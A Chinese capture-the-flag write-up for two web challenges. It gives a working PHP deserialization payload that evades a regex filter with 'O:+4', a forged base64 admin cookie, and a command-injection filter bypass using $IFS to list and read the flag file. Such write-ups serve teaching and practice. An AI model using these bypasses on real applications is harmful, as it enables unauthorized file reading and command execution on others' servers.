WEB
easy
题目给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php @error_reporting(1); include 'flag.php'; class baby { public $file; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } if (isset($_GET['data'])) { $data = $_GET['data']; preg_match('/[oc]:\d+:/i',$data,$matches); if(count($matches)) { die('Hacker!'); } else { $good = unserialize($data); echo $good; } } else { highlight_file("./index.php"); } ?>
|
发现是简单的读文件,绕过正则即可。
可以通过反序列化进行任意文件读取,但是正则preg_match(‘/[oc]:\d+:/i’,$data,$matches);waf掉了[oc]:数字:。
我们发现反序列化payloadO:4:”baby”:1:{s:4:”file”;s:8:”flag.php”;}中前面的O:4:符合正则的条件,因此将其绕过即可。而\d+匹配的是至少一个数字,我们在4前面进行fuzz。发现%2B,也就是+号可以正常反序列化,应该是php解析成了正4。
构造poc:
1 2 3 4 5 6 7
| <?php class baby { public $file='./flag.php'; } $a=new baby(); echo urlencode('O:+4:"baby":1:{s:4:"file";s:10:"./flag.php";}');
|
get请求 ?data=O%3A%2B4%3A%22baby%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A10%3A%22.%2Fflag.php%22%3B%7D
即可。
ezweb2
1.访问发现cookie中存在user项,base64解码后,发现是user,构造admin的base64编码,跳转到后台admin.php
2.简单测试发现是命令执行,但是过滤不严格,只要使用$IFS绕过空格,然后可以使用ls$IFS/ 加 cat$IFS/ffLAG_404即可得到flag
bash命令常见绕过:https://www.jianshu.com/p/000a4ad1b933